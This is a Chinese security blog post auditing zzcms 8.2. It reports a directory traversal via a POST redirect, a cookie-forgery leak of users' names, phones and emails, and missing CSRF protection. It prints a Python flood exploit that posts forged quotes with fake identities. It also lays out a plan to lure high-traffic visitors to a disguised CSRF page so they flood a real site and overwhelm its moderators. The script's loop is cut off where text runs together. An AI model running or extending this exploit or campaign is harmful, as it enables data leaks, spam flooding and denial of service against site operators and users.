* 本文作者:Ka1ier,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
前言
上次的那篇文章《 一名程式碼審計新手的實戰經歷與感悟 》得到了不少讀者的支援,也得到了FreeBuf這個平臺的肯定,這給了我這個菜的不能再菜的小菜鳥很大的信心。但是,不足之處還是很多,比如文章中出現的技術寫得不夠深入等等(這畢竟和個人實力掛鉤的)因此,我決定盡我所能,儘量的寫深入一點,每次寫文章都深入一點,總有一天會深到很深的點。
本篇文章主要講述我在zzcms8.2中挖掘到的漏洞,freebuf上已經有大佬寫了這個cms的程式碼審計,當然,其他的平臺也有人寫了。所以,我既然寫了,那麼肯定是與他們的文章有所不同,漏洞也不同,攻擊方法也不同,讓讀者讀有所獲。(新手可以考慮認真看看,後半部分有對於新手來說非常精彩的攻擊演示)
漏洞集合
目錄跳轉讀取敏感資訊
在zzcms8.2/baojia/baojia.php的第四行,引用了zzcms8.2/inc/top.php這個檔案,如圖:
我當時追蹤了一下這個檔案,發現這個檔案在引用的時候,首先就進行了if邏輯判斷,而if邏輯判斷中,又有可控變數。因此,我當時咋一看的時候,就很懷疑這裏,感覺這裏總可能存在一些問題。如圖:
於是,我就開啟網頁看了一下,順便抓個包瞧瞧。結果一看,哎,有點意思,程式碼是如果接受post請求,那麼就執行跳轉操作。而我們主動傳送的請求是get,那就說明這個漏洞黑盒是百分之八九十測不出來的。黑盒又不知道這裏居然還可能有post請求,就算測試post請求,也不知道引數是什麼,因為前端壓根沒有這裏的引數。
在我的上一篇文章中,我也有個感覺黑盒測不出來的漏洞,但是評論區大佬有人留言說黑盒能測出來,我仔細想了想,的確也有可能,因為當時那個漏洞前端能找到引數。
可是,這裏就不一樣了,無法猜測。莫名其妙的我就對白盒有了點小自豪,哈哈。迴歸主題,既然伺服器端接收post請求,那麼我就將get請求包利用burpsuite改造成post請求包。
將get請求包的資料格式以及內容改成post之後,我先嚐試了構造xss,但是經過幾次嘗試,發現<」>被html編碼,單引號被轉義。這就很尷尬了。
於是轉換思路,既然是跳轉,那麼能不能跳轉到敏感檔案?或者跳轉到遠端檔案呢?如果要按跳轉思路,那麼必須要進行截斷。而在目錄跳轉中,問號偽截斷比較通用,不受版本限制。
如圖,我構造了這樣的post請求包:
由於進行了偽截斷,所以我這裏執行的跳轉就是跳轉到伺服器根目錄,讀取我本地的伺服器根目錄敏感資訊:
我不清楚真實的網站根目錄下是否也會存在這樣的漏洞,但是,如果存在,那麼危害還是挺大的。
比如,目標網站有cdn,但是你根據這個漏洞就可直接發現目標網站的真實IP,在本地進行域名和IP繫結後,就可以直接繞過cdn。
邏輯漏洞導致個人敏感資訊洩漏
在zzcms8.2/baojia/baojiaadd.php的183-213行中,如果在使用者的cookie中獲取到使用者名稱,那麼將會提取出該使用者名稱的個人資訊,回顯到瀏覽器頁面。
比如公司名(這個感覺不重要),真實姓名,手機號碼,emai。後面這三個資訊我個人感覺是很重要的。會利用的人能利用出各種花樣,這裏我們只交流技術,不談那些非法利用,因此這裏如何利用這些資訊我就不寫了。
下圖是我回顯出的測試資訊:
漏洞復現的方法非常簡單,只要你設定COOKIE的UserName為資料庫中真實存在的使用者名稱,那麼就會得到該使用者的這些資訊。
下圖,瀏覽器中的cookie資訊
下圖,該王二狗使用者在我的資料庫中真實存在:
爲了更加嚴謹一點的證明這個漏洞,我又註冊了一個test2使用者,並且登出了test2使用者的登入。然後,構造請求包:
成功獲得test2使用者的敏感資訊:
前提是我資料庫中存在註冊過的test2使用者:
設計缺陷漏洞+CSRF=累死管理員並且讓網站業務無法正常執行!(前方高能)
唉,本來是挖漏洞的,結果邊挖漏洞,邊給人改BUG。。。
這裏插入的欄位資料庫中根本沒有,導致釋出功能壓根無法實現,原因就是classid,被錯寫成了classzm。。。想挖這的漏洞,還得給他先改好BUG。。。幫助這個cms實現功能,我纔好測試功能是否有漏洞利用。。。
所以,我個人是不建議新手費勁心思來挖這套cms,因為還有其他地方的功能存在錯誤,比如點選目錄跳轉的連結會顯示「該檔案不存在」,原因是程式設計師的跳轉路徑寫錯了。。又比如驗證碼壓根不顯示,爲了方便測試,我只能註釋掉檢驗驗證碼是否正確的程式碼。。所以,對於這套cms,新手隨便挖幾個洞就可以了,程式碼能力不強的要想練習改BUG技能,可以認真對待這套CMS。
言歸正傳,在對baojiaadd.php的測試中,我發現同一使用者可以反覆的釋出報價資訊,雖然釋出報價資訊需要得到管理員的稽覈,但是並沒有對釋出報價資訊的使用者做出數量限制或者其他的限制(普通驗證碼在一些大佬眼中可以直接利用機器學習識別的,我這裏由於驗證碼的功能並沒有實現,所以我就直接後臺註釋了驗證碼,在此前提下,有了後面的攻擊實驗),那麼這就給「調皮」的使用者留下可乘之機。
比如,我大量的傳送具有迷惑性質的報價資訊,讓這些資訊存入資料庫,並且讓讀取這些資訊的稽覈人員無法分辨是否是真實使用者,那麼這個漏洞就完全可以嚴重影響該網站的業務。所以,我給這個漏洞的評價是「高危」
漏洞出現的檔案在zzcms8.2/baojia/baojiaadd.php中的183-242行以及274-313行。
我圖片中沒擷取到的程式碼部分,是我覺得不影響理解漏洞,利用漏洞,所以就沒擷取。
上面兩幅圖實際上是我說的第二個漏洞,邏輯漏洞,但是當時只能讀取使用者私人敏感資訊,在這裏,因為我寫的exp順便就讀取了個人敏感資訊,需要用到那個邏輯漏洞的判斷邏輯,所以我就擷取了,方便大家閱讀。而且之所以用到這個漏洞,是因為正規網站不會讓遊客發帖,而這裏貌似是可以的(我沒刻意去追蹤不偽造cookie能否發帖的檔案,感興趣的讀者可以自己嘗試),爲了保險起見,我就當作偽造cookie才能發帖。
下面兩幅圖是伺服器端的處理邏輯
最後,附上我寫的偽造資料包之「洪水攻擊」exp指令碼,第一次寫exp,寫得不好多多見諒!功能就是根據我們想偽造資料包的個數,進行個人資訊偽造,同時列印返回包(返回包中能看到邏輯漏洞中的敏感資訊,我沒寫正則,所以讀者可以自己改造)
exp指令碼:
import requests; import os; import random; import ast; def attack(): host='http://localhost/zzcms8.2/baojia/baojiaadd.php?'; #構造偽造UserName,若想增強偽裝力度,請自己調整程式碼 users=['mayun','mahuateng','','zhouhongwei','leijun','liyanhong']; un=random.randint(0,len(users)-1); cookie_value='"Cookie":"UserName={user_forgery};"'; cookie_value=cookie_value.format(user_forgery=users[un]); header='{'+cookie_value+'}'; #將構造的cookie變成字典形式 header=ast.literal_eval(header); #構造偽造的產品,若想增強偽裝力度,請自行調整程式碼 product=['防曬面膜','護手霜','澳洲牛排','紙尿布','充氣娃娃']; pn=random.randint(0,len(product)-1); #product_value=product[pn]; #由於classid,province,city,xiancheng都是網站前端定義好的值,所以這裏就不進行修改,當然,若想修改,還是可以修改的。 #偽造價格 price_value=random.randint(25,500); price_value=str(price_value); #偽造公司 companyname_values=['阿里巴巴','騰訊','百度','小米','360']; cn=random.randint(0,len(companyname_values)-1); #companyname_value=companyname_values[cn]; #偽造真實姓名 truename_values=['馬雲','馬化騰','周鴻偉','李彥巨集','雷軍']; tn=random.randint(0,len(truename_values)-1); #truename_value=truename_values[tn]; #偽造電話號碼 tel_value='15'+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9)); #tel_value=int(tel_value); #偽造地址 address_value=['宿遷市宿城區西湖路358號','河南省開封市鼓樓區黃河大街中段1號','山東省濟南市市中區文化西路117號','河北省滄州市運河區名人植物園(九河西路北)','哈爾濱市平房區哈爾濱市平房區新疆街道建文小區2號樓']; an=random.randint(0,len(address_value)-1); #偽造郵箱 email_suffix=['@163.com','@qq.com','@sina.com','@souhu.com','@gmail.com']; en=random.randint(0,len(email_suffix)-1); email_value=str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+str(random.randint(0,9))+email_suffix[en]; #構造payload payload='"cp":"{product_value}","classid":"王二狗專屬","province":"王二狗大街","city":"王二狗城市","xiancheng":"王二狗縣","price":{price_value},"companyname":"{companyname_value}","truename":"{truename_value}","tel":{tel_value},"address":"{address_value}","email":"{email_value}","yzm":"{yzm_value}","Submit":"發 布","action":"add"'; payload=payload.format(product_value=product[pn],price_value=price_value,companyname_value=companyname_values[cn],truename_value=truename_values[tn],tel_value=tel_value,address_value=address_value[an],email_value=email_value,yzm_value=1234); payload='{'+payload+'}'; payload=ast.literal_eval(payload); #payload={'cp':'跨站請求偽造1','classid':'王二狗專屬','province':'王二狗大街','city':'王二狗城市','xiancheng':'王二狗縣','price':999,'companyname':'跨站請求偽造公司','truename':'王二狗','tel':18888888888,'address':'王二狗大街','email':'[email protected]','yzm':1234,'Submit':'發 布','action':'add'}; r=requests.post(host,data=payload,headers=header); responseContent=r.content.decode('utf-8'); print(responseContent); print('......請稍等,正在進行資料包偽造之洪水攻擊......'); #os.system('pause'); def exp(): num=input('請輸入要傳送的偽造資料包個數(只能是數字,否則報錯),並按回車確認:'); num=int(num); n=0; while(n簡單說明一下,我寫的這個exp只是雛形,如果你想偽造的更像,更難以排查,更難以被稽覈人員過濾,那麼我指令碼中的那些變數,list,你可以加以改造,增加他們的數量以及不同的值,利用暴力破解的思路組合成新的個人資訊,就像生成新的字典那樣。另外,由於我這個是邊測試邊編寫的,因此裏面有不少的註釋以及我註釋掉的測試程式碼。。。大家將就著看吧。。
exp指令碼攻擊演示:
輸入數字後,就會一直髮送資料包,直到傳送5個為止,會出現提示結束的資訊。這裏可以在返回的html程式碼中找到邏輯漏洞的敏感資訊,用正則能匹配出來,我指令碼中沒寫。。。懶了。。。感興趣自己寫吧。
爲了證明我們的攻擊是有效的,我下面提供我的資料庫截圖:
像這裏的使用者資訊,都可以通過改造我的exp或者讀者自己寫exp來實現。注意看我這裏偽造的地址,電話,郵箱,是不是很真實?其他的值也都可以做到這種地步,我這個exp只是提供思路,進行簡單的攻擊演示。
總的來說,我覺得這個漏洞應該屬於設計上的缺陷吧,不知道讀者是怎麼定義這個漏洞的。
另外,我一開始就覺得這裏還有有CSRF漏洞,因為按道理來說,進行這類操作最好都要先token驗證一下,可是這裏並沒有驗證。在說點題外話,在我我進行CSRF頁面構造的時候,遇到一個urf8編碼的坑,導致我一度以為這裏引用了token機制,但是怎麼看前端原始碼,伺服器原始碼都沒找到token機制。無意之間在html中看到自己寫的中文變成了亂碼,才忽然想到可能是編碼問題導致我CSRF總是失敗。於是我改了自己CSRF利用頁面的原始碼,果斷成功!
下面是我CSRF攻擊頁面的原始碼:
小電影載入成功!
綜上所述,攻擊思路就是:在訪問流量比較大的網站掛上有CSRF攻擊的偽造網頁(可以做的逼真一點,我這裏並不逼真),或者想其他方法引誘大流量的網際網路網民來到你這個CSRF攻擊頁面,誘導他們點選觸發CSRF攻擊的按鈕,讓所有訪問這個大流量網站的人亦或是訪問這個CSRF頁面的人,都去瀏覽zzcms這個站並且釋出報價資訊。同時,自己在本地利用指令碼,對目標進行惡意釋出報價的「洪水攻擊」(不知道怎麼形容,就這樣用洪水攻擊形容了)來掩蓋正常使用者的正常釋出報價的業務請求,同時也要能夠儘可能的迷惑稽覈報價資訊的管理人員,讓其無法輕易利用指令碼或者過濾機制分辨哪種報價資訊是真實使用者的業務請求,哪種報價資訊是攻擊者惡意偽造的。
只要有使用者進入我們這個CSRF頁面,便會自動生成偽造資訊。只要使用者點選我們這個CSRF頁面的小電影「開始播放」按鈕,那麼就會向zzcms站傳送一次請求,報價資訊便會存入zzcms的資料庫中,混淆其他的真實資料,影響網站業務,累死負責稽覈資訊的管理員~
看下圖,偽造的資訊成功進入了資料庫:
我點選了兩次CSRF頁面的播放按鈕,所以就生成了兩條不同的資料。由於點選完,還會再次重新整理到此CSRF頁面,若使用者第一次點選不明所以,還有可能再點選一次。那麼在流量非常大的情況下,就等於將非常大的流量放大兩到三倍去攻擊zzcms站點。可以說,很恐怖了。
如果想最大限度的進行DDos攻擊,那麼還得補充相關知識,比如,什麼情況下伺服器解析最慢?我這裏只提供思路。。因為我技術有限。。。留下來沒技術的淚水。。。
總的來說,這思路結合了DDos攻擊、無線網干擾中的「洪水攻擊」思路,同時結合一些欺騙的藝術以及利用網站的邏輯漏洞/設計缺陷來完成的一次精彩攻擊。(儘管我偽造的頁面很簡陋,但是也不失為一次精彩的攻擊,不是嗎?)
額,剛好由於我投稿的時候,可能是當時太累了,圖片複製貼上的居然有一些是外鏈。。也沒提示,標題也有點敏感,導致稽覈失敗,正好借這次修改機會,再多說兩句。再次強調,因為這套cms的驗證碼功能有bug,我爲了方便測試就將其註釋掉,但是,對於普通的驗證碼,一些大佬完全可以做到識別,因此,這篇文章的精髓在於攻擊的思路。如果說硬要加上驗證碼,那麼CSRF的攻擊以我的技術就無法實現了,因為我不知道如何在CSRF的時候,還能同時獲得正確的驗證碼(ajax的思路可以嗎?)。除非網站的驗證碼做的很BT,否則,只要能識別,那麼我們的python指令碼就依舊可以「泛洪」一下。
歡迎大家評論區討論~
* 本文作者:Ka1ier,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載